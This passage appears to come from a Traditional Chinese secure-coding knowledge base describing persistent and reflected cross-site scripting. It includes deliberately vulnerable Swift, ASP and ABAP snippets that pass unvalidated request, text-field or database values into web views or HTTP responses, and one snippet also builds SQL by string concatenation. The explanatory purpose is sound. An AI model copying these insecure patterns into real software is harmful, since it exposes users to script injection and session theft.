[21] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[24] Standards Mapping - OWASP Top 10 2021 A03 Injection
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[37] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[39] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[40] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[62] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[63] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.scala.cross_site_scripting_persistent
Abstract
這個方法會傳送未經驗證的資料到網路瀏覽器會導致瀏覽器執行惡意的程式碼。
Explanation
Cross-site scripting (XSS) 弱點會在以下情況中出現:

1. 資料從一個不可信賴的來源進入網頁。在 Persistent XSS (也可稱為 Stored XSS) 案例中,不可信賴的來源通常為資料庫或其他後端資料儲存區,而在 Reflected XSS 案例中,來源通常為使用者元件、URL 架構處理常式或外部通知。


2. 在未對包含資料的動態內容進行驗證的情況下,便將其傳送至某個 UIWebView 元件。


傳送到網頁瀏覽器的惡意內容經常是以 JavaScript 片段的形式出現,但是也可能包含 HTML、Flash 或者瀏覽器執行的任何其他程式碼類型。以 XSS 為基礎的攻擊手段花樣百出且幾乎無窮無盡,但是它們通常會傳輸 Cookie 或其他階段作業資訊之類的私人資料給攻擊者、將受害者重新導向到攻擊者控制的網頁內容,或者利用易受攻擊的網站,在使用者的機器上執行其他惡意操作。

name 值正常運作時,此程式碼也會正常運作,但如果該值不正常運作時,則會完全無法避免程式碼遭受攻擊。此外,這個程式碼之所以看似不那麼危險,是因為 name 的值是從資料庫中讀取的,而顯然這些內容是由應用程式管理的。但是,如果 name 的值是從使用者提供的資料中產生,那麼資料庫可能會成為提供惡意內容的管道。如果未對資料庫中儲存的所有資料進行適當的輸入驗證,那麼攻擊者可能在使用者的網路瀏覽器中執行惡意指令。這類型的攻擊稱為 Persistent XSS (或 Stored XSS),其性質特別狡詐,因為間接的資料儲存方式而難以辨別該威脅,且該攻擊影響多個使用者的可能性可能提高。XSS 盜取會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript,所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。

範例 2:以下程式碼會讀取 UITextField 的內容,並在 WKWebView 中將其顯示給使用者:


...
let webView : WKWebView
let inputTextField : UITextField
webView.loadHTMLString(inputTextField.text, baseURL:nil)
...


如果 inputTextField 中的文字只包含標準英數字元,這個範例中的程式碼便會正常運作而不會有問題。如果 inputTextField 中的文字包括中繼字元或原始程式碼,那麼網路瀏覽器就會像顯示 HTTP 回應那樣,可能會將輸入當成程式碼來執行。

一開始,這似乎不會輕易受到攻擊。畢竟,誰會在自己的裝置上提供會導致惡意程式碼執行的輸入?真正的危險在於攻擊者可能使用電子郵件或社交工程病毒誘騙受害者執行此類動作。當這樣的誘騙成功,受害者就在不知情的情況下,透過易受攻擊的 Web 應用程式,將惡意內容帶回他們自己的裝置。這個利用易受攻擊的 Web 應用程式進行攻擊的機制就是通常所知的 Reflected XSS。

範例 3:以下 Swift 程式碼片段會讀取自訂 URL 架構的文字部分,其會被傳遞到應用程式 (myapp://input_to_the_application) 並呼叫之。然後 URL 中不可信賴的資料便會被用來在 UIWebView 元件中攻擊 HTML 輸出。


...
func application(app: UIApplication, openURL url: NSURL, options: [String : AnyObject]) -> Bool {
...
let name = getQueryStringParameter(url.absoluteString, "name")
let html = "Hi \(name)"
let webView = UIWebView()
webView.loadHTMLString(html, baseURL:nil)
...
}
func getQueryStringParameter(url: String?, param: String) -> String? {
if let url = url, urlComponents = NSURLComponents(string: url), queryItems = (urlComponents.queryItems as? [NSURLQueryItem]) {
return queryItems.filter({ (item) in item.name == param }).first?.value!
}
return nil
}
...


如同範例中所示,XSS 的弱點是由 HTTP 內容中包含未經驗證資料的程式碼所引起的。XSS 攻擊有三種途徑可攻擊受害者:

- 如 Example 1 所述,應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存區中。這些危險資料隨後會被回讀到應用程式,並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現:攻擊者把危險內容插入到之後會讀取的資料儲存區中,並包含在動態內容中。從攻擊者的角度來看,插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限,或者會與敏感資料進行互動,且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容,攻擊者可能會代替使用者去執行需要權限許可的作業,或者取得存取使用者專屬敏感資料的權限。

- 如 Example 2 所述,會直接從使用者可控制的 UI 元件讀取資料,並在 HTTP 回應中傳回資料。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式,接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行,這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是,將惡意內容當作參數隱藏在公開發表的 URL 中,或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心,攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後,就會執行這些內容,並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者,或者執行其他惡意活動。

- 如 Example 3 所述,目標應用程式以外的來源會使用目標應用程式的自訂 URL 架構提出 URL 要求,之後來自此 URL 要求的未驗證資料會被當作信賴的資料讀回到應用程式,並會包含在動態內容中。
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] W/Labs Continued Adventures with iOS UIWebViews
[4] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[5] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[10] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[11] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[12] Standards Mapping - FIPS200 SI
[13] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[16] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[17] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[18] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[19] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[20] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[24] Standards Mapping - OWASP Top 10 2021 A03 Injection
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[37] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[39] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[40] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[62] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[63] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.swift.cross_site_scripting_persistent
Abstract
傳送未經驗證的資料至網路瀏覽器,會導致瀏覽器執行惡意的程式碼。
Explanation
Cross-site scripting (XSS) 弱點會在以下情況中出現:

1.資料從一個不可信賴的來源進入 Web 應用程式。在 Persistent XSS (也可稱為 Stored XSS) 案例中,不可信賴的來源通常為資料庫或其他後端資料儲存區,而在 Reflected XSS 案例中,來源通常為網頁要求。


2.未經驗證且包含在動態內容中的資料將傳送給某個網頁使用者。

傳送到網頁瀏覽器的惡意內容經常是以 JavaScript 片段的形式出現,但是也可能包含 HTML、Flash 或者瀏覽器執行的任何其他程式碼類型。以 XSS 為基礎的攻擊手段花樣百出且幾乎無窮無盡,但是它們通常會傳輸 Cookie 或其他階段作業資訊之類的私人資料給攻擊者、將受害者重新導向到攻擊者控制的網頁內容,或者利用易受攻擊的網站,在使用者的機器上執行其他惡意操作。

範例 1:以下的 ASP 程式碼片段會在資料庫中查詢具有指定識別碼的員工,並列印相應的員工姓名。


...
eid = Request("eid")
strSQL = "Select * from emp where id=" & eid
objADORecordSet.Open strSQL, strConnect, adOpenDynamic, adLockOptimistic, adCmdText
while not objRec.EOF
Response.Write "Employee Name:" & objADORecordSet("name")
objADORecordSet.MoveNext
Wend
...
name 值正常運作時,此程式碼也會正常運作,但如果該值不正常運作時,則會完全無法避免程式碼遭受攻擊。這個程式碼之所以較不危險,是因為 name 值是從資料庫中讀取的,且顯然是由應用程式管理這些值的內容。但是,如果 name 的值是從使用者提供的資料中產生,那麼資料庫可能會成為提供惡意內容的管道。如果未對資料庫中儲存的所有資料進行適當的輸入驗證,那麼攻擊者可能在使用者的網路瀏覽器中執行惡意指令。這類型的攻擊稱為 Persistent XSS (或 Stored XSS),其性質特別狡詐,因為間接的資料儲存方式而難以辨別該威脅,且該攻擊影響多個使用者的可能性可能提高。XSS 盜取會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript,所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。

範例 2:以下的 ASP 程式碼片段會從 HTTP 要求中讀取員工識別碼 eid,並向使用者顯示。


...
eid = Request("eid")
Response.Write "Employee ID:" & eid & "<br/>"
..


Example 1 所述,如果 eid 只包含標準英數字元,這個程式碼會正確地執行。如果 eid 中有包含中繼字元或來源程式碼中的值,那麼網路瀏覽器就會像顯示 HTTP 回應那樣執行程式碼。

一開始,這似乎不會輕易受到攻擊。畢竟,誰會在自己的電腦中輸入會執行惡意程式碼的 URL?其實,真正的危險在於攻擊者會建立惡意的 URL,接著使用電子郵件或社交工程病毒誘騙受害者透過連結前往該 URL。當受害者按下該連結時,他們即不知不覺地透過易受攻擊的 Web 應用程式,將惡意內容資訊帶回他們自己的電腦。這個利用易受攻擊的 Web 應用程式進行攻擊的機制就是通常所知的 Reflected XSS。

如同範例中所示,XSS 的弱點是由 HTTP 回應中包含未經驗證資料的程式碼所引起的。XSS 攻擊有三種途徑可攻擊受害者:

- 如 Example 1 所述,應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存區中。這些危險資料隨後會被回讀到應用程式,並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現:攻擊者把危險內容插入到之後會讀取的資料儲存區中,並包含在動態內容中。從攻擊者的角度來看,插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限,或者會與敏感資料進行互動,且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容,攻擊者可能會代替使用者去執行需要權限許可的作業,或者取得存取使用者專屬敏感資料的權限。

- 如 Example 2 所述,會直接從 HTTP 要求中讀取資料,並在 HTTP 回應中回傳資料。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式,接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行,這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是,將惡意內容當作參數隱藏在公開發表的 URL 中,或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心,攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後,就會執行這些內容,並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者,或者執行其他惡意活動。

- 應用程式以外的來源會在資料庫或是其他資料記憶體中儲存危險資料,且之後這些危險資料會被當作信賴的資料回讀到應用程式,並會包含在動態內容中。
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[16] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[17] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[18] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[19] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[20] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2021 A03 Injection
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[36] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[37] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[39] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[62] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.vb.cross_site_scripting_persistent
Abstract
如果依賴 HTML、XML 和其他類型的編碼來驗證使用者輸入,可能會導致瀏覽器執行惡意程式碼。
Explanation
使用特定編碼函數模組 (例如 cl_http_utility=>escape_html) 可防止部分,但不是所有的 Cross-Site Scripting 攻擊。根據資料出現的內容,以 HTML 編碼的基本 <、>、& 和 ",以及以 XML 編碼的 <、>、&、" 和 ' 以外的字元,可能會有中繼意義。依賴類似編碼函數模組等同於使用安全性較差的拒絕清單來防止 Cross-Site Scripting 攻擊,並且可能會允許攻擊者插入隨後會在瀏覽器中執行的惡意程式碼。因為並非隨時都可以準確識別其中靜態顯示資料的內容,所以即使套用編碼,Fortify Secure Coding Rulepack 還是會報告 Cross-Site Scripting 發現,並將其顯示為 Cross-Site Scripting: Poor Validation 問題。

Cross-site scripting (XSS) 弱點會在以下情況中出現:

1. 資料從一個不可信賴的來源進入 Web 應用程式。如果是 Reflected XSS,不可信賴的來源大多為 Web 要求;如果是 Persistent XSS (也可稱為 Stored XSS),來源大多為資料庫查詢結果。


2.未經驗證且包含在動態內容中的資料將傳送給某個網頁使用者。

傳送到網頁瀏覽器的惡意內容經常是以 JavaScript 片段的形式出現,但是也可能包含 HTML、Flash 或者瀏覽器執行的任何其他程式碼類型。以 XSS 為基礎的攻擊手段花樣百出且幾乎無窮無盡,但是它們通常會傳輸 Cookie 或其他階段作業資訊之類的私人資料給攻擊者、將受害者重新導向到攻擊者控制的網頁內容,或者利用易受攻擊的網站,在使用者的機器上執行其他惡意操作。

範例 1:以下的 ABAP 程式碼片段在 HTTP 要求中讀取員工的識別碼 eid,使用 HTML 加以編碼並顯示給使用者。


...
eid = request->get_form_field( 'eid' ).
...
CALL METHOD cl_http_utility=>escape_html
EXPORTING
UNESCAPED = eid
KEEP_NUM_CHAR_REF = '-'
RECEIVING
ESCAPED = e_eid.
...
response->append_cdata( 'Employee ID: ').
response->append_cdata( e_eid ).
...


如果 eid 只包含標準英數字元,則這個範例中的程式碼會正確地執行。如果 eid 中有包含中繼字元或來源程式碼中的值,那麼網路瀏覽器就會像顯示 HTTP 回應那樣執行程式碼。

一開始,這似乎不會輕易受到攻擊。畢竟,誰會在自己的電腦中輸入會執行惡意程式碼的 URL?其實,真正的危險在於攻擊者會建立惡意的 URL,接著使用電子郵件或社交工程病毒誘騙受害者透過連結前往該 URL。當受害者按下該連結時,他們即不知不覺地透過易受攻擊的 Web 應用程式,將惡意內容資訊帶回他們自己的電腦。這個利用易受攻擊的 Web 應用程式進行攻擊的機制就是通常所知的 Reflected XSS。

範例 2:以下的 ABAP 程式碼片段會在資料庫中查詢具有所指定識別碼的員工,並列印相應 HTML 編碼的員工姓名。


...
DATA: BEGIN OF itab_employees,
eid TYPE employees-itm,
name TYPE employees-name,
END OF itab_employees,
itab LIKE TABLE OF itab_employees.
...
itab_employees-eid = '...'.
APPEND itab_employees TO itab.

SELECT *
FROM employees
INTO CORRESPONDING FIELDS OF TABLE itab_employees
FOR ALL ENTRIES IN itab
WHERE eid = itab-eid.
ENDSELECT.
...
CALL METHOD cl_http_utility=>escape_html
EXPORTING
